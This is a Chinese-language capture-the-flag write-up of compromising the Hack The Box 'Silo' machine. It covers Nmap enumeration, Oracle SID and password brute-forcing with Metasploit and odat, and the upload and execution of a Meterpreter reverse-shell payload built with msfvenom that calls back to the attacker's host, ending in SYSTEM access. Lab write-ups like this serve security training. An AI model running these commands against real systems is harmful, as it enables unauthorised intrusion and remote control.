Hack The Box - Silo

Hack The Box - Silo

如果从未接触过Oracle数据库与其测试工具,这个靶机可能会很难,但是如果有了解过oracle数据库或是Oracle测试工具,该靶场极其简单。

在我启动机器之后,我获取到了一个IP地址,我决定使用Nmap帮我对其进行端口服务枚举:

nmap -sC -sV -p- -Pn -T4 10.10.10.82

网络延迟太大,花了我不少的功夫:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-04 13:57 CST
Host is up (0.43s latency).
Not shown: 65520 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open oracle-tns Oracle TNS listener (requires service name)
49160/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2022-04-04T06:15:17
|_ start_date: 2022-04-04T05:58:35
| smb2-security-mode:
| 3.0.2:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
|_clock-skew: mean: 1m35s, deviation: 0s, median: 1m34s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 995.46 seconds

Nmap帮我枚举到了这些信息:80端口为HTTP,135、49152、49153、49154、49155、49158、49161 和 49162、运行 Microsoft Windows RPC、139与445为Samba、端口1521和49160为 Oracle服务与TNS监听器。5985与47001运行Microsoft HTTPAPI httpd 2.0,目标操作系统为Windows Server 2008 R2 - 2012。

首先我决定对80端口进行访问,我先尝试用Searchspolit搜寻IIS8.5公开漏洞,但并未搜到什么。为了不错过一些信息,在正式访问80端口这之前,我根据目标机器的名字,得知它的web站点域名为silo.htb,我需要将其添加到我的/etc/hosts文件中,然后再对80端口进行访问,我得到了如下一个页面:

该页面看起来像是为我提供了大量的点击按钮,在我点击后它会将我引导向微软IIS官方,但是在我检查页面元素时,发现那些按钮只是个障眼法,它们都不是真实存在的,只是刚好都在一张图片中,而该图片引入了微软IIS官方的超链接:

我发现了目标的服务组件及脚本语言环境,虽然Nmap已经帮我枚举到了:

我尝试对目标机器进行路径爆破:

dirsearch -u http://silo.htb/

我得到了一个目录,但它禁止了我访问:

我尝试伪造来源对其进行绕过,但是我失败了,一旦我对数据包中的字段进行添加或删除,服务器都不会回包给我。

80端口我不知道还能如何进展,于是我将目光放到了445端口,首先我尝试使用smbclient对其进行连接,但它要求我输入用户名与密码:

我尝试了一些通用口令都失败了,当然我可以对smb登录凭证进行爆破,但我不想无脑纯碰运气,于是我不得不先放弃去转向1521端口,它看起来像是运行着oracle数据库服务,Oracle数据库的攻击流程我了解的不多,但是我通过查询文档资料发现Oracle数据库在创建每个数据库时都会对该数据库附加一个SID,与windows创建用户产生的SID一样,幸运的是SID是可以进行枚举的,Metasploit有内置的枚举模块:

auxiliary/admin/oracle/sid_brute

它为我枚举出了三个SID:XE、PLSExtProc、CLRExtProc,紧接着我可以通过Metasploit对其进行登录暴力破解,SID便是用在此处的,看来我完全可以把SID当成Oracle中的数据库名:

auxiliary/admin/oracle/oracle_login

因为Metasploit中的oracle_login需要安装oracle依赖支持,但是我尝试去Oracle官方下载对应的包,它的下载链接出了问题,我无法下载。Metasploit中的Oracle_login我无法使用,于是我又通过搜索引擎找到了这样一款工具:

https://github.com/quentinhardy/odat,它是一款用来指定测试Oracle数据库的工具。我可以在Kalinux运行如下命令进行安装:

apt install odat

它一样可以为我枚举SID,但是Metasploit已经帮我做了,我不需再枚举一次,odat中的passwordguesser是obat工具中用来枚举登录凭证的模块,而字典口令则是odat自带的,因为我不知道其默认字典是什么,所以我根据help教程给定了其字典的绝对路径,所以我执行了这样一条命令用于oracle登录口令爆破

odat passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file /usr/share/odat/accounts/accounts_small.txt

可能因为网络问题,它需要爆破很久很久,它为我枚举出了scott/tiger,但还有百分之42%未枚举,当然我可以切换SID参数对我通过Metasploit枚举到的其他SID也进行枚举,但是它实在是太慢了,我准备先暂时放下枚举它的念头,直到我需要获取一个更高权限的用户或是我找不到其他路的情况下再回过头来继续进行枚举。

既然有了登录凭证,那自然可以通过Oracle数据库链接工具例如sqlplus去链接目标Oracle数据库,但是我并不想这么做,因为我知晓了其他一些方法,Odat简直是个非常棒的工具,我觉得我有必要在今后花费几天时间去学习它,因为以下命令可以直接帮助我进行RCE,写入或下载文件:

odat utlfile -s 10.10.10.82 -p 1521 -d XE -U scott -P tiger --sysdba --test-module

这样的话我完全可以生成攻击payload上传到目标目录并执行,我就可以获取一个反向链接的shell,所以我准备是使用Metasploit为我生成有效载荷:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.16.2 lport=4444 -f exe -o payload.exe

然后通过如下命令将payload.exe写入目标指定目录:

odat utlfile -s 10.10.16.2 -p 1521 -d XE -U scott -P tiger --sysdba --putFile c:/windows/temp payload.exe `pwd`/payload.exe

它看起来写入成功了,紧接着,我需要使用odat为我提供的externaltable模块对payload.exe进行加载:

odat externaltable -s 10.10.10.82 -p 1521 -d XE -U scott -P tiger --sysdba --exec c:/windows/temp payload.exe

它成功了,我获取到了Meterpreter会话:

而且令人欣喜的是,我直接获取到了system权限级别的shell:

我拿到了root.txt:

我也拿到了user.txt:

我看到之前Nmap帮我枚举到的其余信息,端口5985与47001运行Microsoft HTTPAPI httpd 2.0,很抱歉,它没为我提供什么信息,我也便失去了兴致。


请使用浏览器的分享功能分享到微信等